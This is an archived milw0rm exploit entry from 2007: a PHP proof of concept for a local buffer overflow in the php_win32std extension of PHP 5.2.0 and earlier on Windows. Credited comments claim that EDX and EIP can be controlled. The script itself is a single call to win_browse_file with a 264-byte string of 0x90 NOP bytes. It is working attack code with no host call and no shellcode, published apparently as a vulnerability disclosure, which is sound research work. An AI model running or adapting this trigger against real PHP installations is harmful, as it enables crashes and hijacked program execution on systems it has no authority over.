PHP <= 5.2.0 (php_win32sti) Local Buffer Overflow PoC (win32)

&#60;?php // ================================================================================== // // php_win32sti.dll PHP &#60;= 5.2.0 (win32) Buffer Overflow // // [x] Discovery: boecke &#60;boecke@herzeleid.net&#62; // [x] Risk: Local Buffer Overflow (Medium - High Risk) // [x] Notes: EDX and EIP are able to be controlled and therefore // have the potential to dictate program flow. // // [x] &#34;Sangre, sonando, de rabia naci.. Who do you trust?&#34; // // ================================================================================== if ( !extension_loaded(&#34;win32std&#34;) ) { die; } win_browse_file( 1, NULL, str_repeat( &#34;\x90&#34;, 264 ), NULL, array( &#34;*&#34; =&#62; &#34;*.*&#34; ) ); ?&#62; # milw0rm.com [2007-08-18]